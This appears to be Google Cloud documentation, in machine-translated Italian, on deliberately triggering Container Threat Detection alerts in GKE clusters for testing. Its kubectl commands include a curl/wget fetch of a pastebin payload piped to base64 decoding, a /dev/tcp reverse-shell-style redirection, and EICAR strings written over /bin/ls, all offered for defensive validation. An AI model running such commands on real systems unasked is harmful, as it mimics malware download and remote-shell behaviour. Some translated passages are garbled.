In questa pagina viene spiegato come verificare il funzionamento di Container Threat Detection, attivando intenzionalmente i rilevatori e controllando i risultati. Container Threat Detection è un servizio integrato per il livello Premium di Security Command Center. Per visualizzare i risultati di Container Threat Detection, deve essere abilitato nelle impostazioni dei servizi di Security Command Center.
Prima di iniziare
Per rilevare potenziali minacce ai container, devi assicurarti che i cluster utilizzino una versione supportata di Google Kubernetes Engine (GKE). Per ulteriori informazioni, consulta Utilizzare una versione di GKE supportata.
Imposta le variabili di ambiente
Per testare i rilevatori, puoi utilizzare la console Google Cloud e Cloud Shell. Puoi impostare le variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.
Vai alla console Google Cloud.
Seleziona il progetto che contiene il container da utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente.
La zona in cui si trova il cluster:
export ZONE=CLUSTER_ZONEIl progetto in cui si trova il container:
export PROJECT=PROJECT_IDNome del cluster:
export CLUSTER_NAME=CLUSTER_NAME
Le variabili sono impostate. Le seguenti sezioni includono le istruzioni per testare i rilevatori di Container Threat Detection.
Programma binario aggiuntivo eseguito
Per attivare un risultato Binario eseguito aggiunto, rilascia un file binario nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 18.04 più recente, copia /bin/ls in un'altra posizione ed esegue la stessa. L'esecuzione del programma binario è imprevista
perché la copia del file binario non faceva parte dell'immagine container originale, anche
quando l'immagine è su Ubuntu 18.04 e i container sono immutabili.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTRilascia un file binario ed eseguilo:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato eseguito Binario aggiunto che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center.
Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection
filtra temporaneamente i risultati Eseguiti binari aggiunti. Per visualizzare tutti i risultati Eseguiti binari aggiunti durante la configurazione di un container, anteponi ktd-test al nome del container o al nome del pod, come nell'esempio.
Libreria aggiuntiva caricata
Per attivare un risultato Libreria aggiunta caricata, trascina una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'immagine Ubuntu 18.04 più recente, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e quindi la carica utilizzando ld. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se l'immagine è su Ubuntu 18.04 e i container sono pensati per essere immutabili.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTRilascia una libreria e utilizza
ldper caricarla:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato della libreria aggiunta caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center a livello di organizzazione.
Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection
filtra temporaneamente i risultati aggiunti dalla libreria caricata. Per visualizzare tutti i risultati caricati con la libreria aggiunta durante la configurazione di un container, anteponi il prefisso ktd-test al nome del container o del pod, come nell'esempio.
Esecuzione: aggiunta esecuzione binaria dannosa
Per attivare un'esecuzione: aggiunto il risultato di esecuzione binaria dannosa, rilascia un file binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine più recente di Ubuntu 18.04, crea un file dannoso simulato e poi lo esegue. L'esecuzione del programma binario è inattesa perché il file binario dannoso simulato non faceva parte dell'immagine container originale e il binario è un file di test EICAR, un file classificato come dannoso dalla threat intelligence.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTRilascia il binario EICAR ed eseguilo:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
Questa procedura di test deve creare un risultato che può essere visualizzato in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center.
Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection
filtra temporaneamente Execution: aggiunti risultati binari dannosi eseguiti. Per visualizzare
tutte le impostazioni Esecuzione: risultati di esecuzione binaria dannosi aggiunti durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o al nome del pod, come
nell'esempio.
Esecuzione: esecuzione binaria dannosa modificata
Per attivare un risultato Esecuzione: risultato eseguito tramite binario dannoso modificato, modifica un
file binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine più recente di Ubuntu 18.04, modifica /bin/ls in un file dannoso simulato e poi lo esegue.
L'esecuzione del programma binario è imprevista perché /bin/ls viene modificato durante il runtime del container come file binario dannoso, mentre il file binario è un file di test EICAR, un file classificato come dannoso dalla threat intelligence.
un file EICAR che verifica un file dannoso e poi lo esegue. L'esecuzione del programma binario è inattesa perché il file /bin/ls creato viene modificato durante il runtime del container come un file binario dannoso che testa l'EICAR e, in base alle informazioni sulle minacce, il file binario EICAR è un file dannoso noto.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTRilascia il binario EICAR ed eseguilo:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Questa procedura di test deve creare un risultato Esecuzione: Eseguito binario dannoso modificato che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center.
Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection
filtra temporaneamente i risultati Execution: Disabled Binary Executed (esecuzione: risultati eseguiti tramite file binari dannosi). Per visualizzare
tutti i risultati Esecuzione: risultati di esecuzione binari dannosi modificati durante la configurazione di un container, fai precedere il nome del container o del pod con ktd-test, come nell'esempio.
Script dannoso eseguito
Per attivare un risultato di script dannoso eseguito, puoi eseguire lo script con la seguente procedura nel contenitore.
La procedura esegue il deployment dell'immagine più recente di Ubuntu 18.04, copia uno script che sembra dannoso e quindi lo esegue. Per attivare un rilevamento, uno script deve sembrare dannoso per il rilevatore.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTEsegui lo script seguente in un nuovo container.
Questo script shell bash incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso, pertanto l'esecuzione dello script non causerà attività dannose nel contenitore. Il programma binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL potrebbe causare un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando uno script incorporato è ciò che attiva il rilevamento.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Questa procedura di test crea un risultato eseguito con script dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center a livello di organizzazione.
URL dannosi osservati
Per attivare un risultato osservato di URL dannoso, esegui un programma binario e fornisci un URL dannoso come argomento.
L'esempio seguente esegue il deployment di un'immagine Ubuntu 18.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTEsegui
curle fornisci un URL dannoso come argomento:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
Questa procedura di test attiva un risultato osservato di URL dannoso che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center a livello di organizzazione.
Shell inversa
Per attivare un risultato di Shell inversa, avvia un programma binario con reindirizzamento stdin a un socket connesso a TCP. Questo esempio inizia /bin/echo con il reindirizzamento al
DNS pubblico di Google
8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non verrà stampato nulla. Per impedire qualsiasi iniezione di codice esterna tramite un attacco man in the middle (MITM), in questo esempio non viene utilizzato /bin/bash binary.
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTAvvia un programma binario con reindirizzamento
/bin/echoal DNS pubblico di Google:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
Questa procedura di test crea un risultato di Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium di Security Command Center a livello di organizzazione.
Shell secondaria imprevista
Per testare il rilevatore Unexpected Child Shell, puoi creare una struttura ad albero del processo che includa un processo shell secondario.
L'esempio seguente crea una struttura ad albero dei processi httpd->dash, che può essere rilevata dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo programmi binari integrati. In questo esempio si verifica quanto segue:
- Crea una copia del processo
bashe la assegna il nomehttpd. - Copia il processo
echoe lo nominadash. - Richiama il processo
dashcopiato nel processohttpdcopiato.
Per attivare un risultato Unexpected Child Shell:
Usa Cloud Shell per accedere al piano di controllo del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTFai in modo che il processo
httpdsimulato richiami una shell fittizia:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \ /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se hai configurato Logging per Container Threat Detection e hai attivato il livello Premium di Security Command Center a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.
NOTA: la parte & wait del comando di test riportato sopra è importante. La versione di Anteprima pubblica del rilevatore di shell secondarie impreviste può acquisire solo i processi padre che fork e exec una nuova shell. Se la parte del comando e attesa viene omessa, il rilevatore non sarà in grado di acquisire l'evento.
Passaggi successivi
- Scopri come utilizzare Container Threat Detection.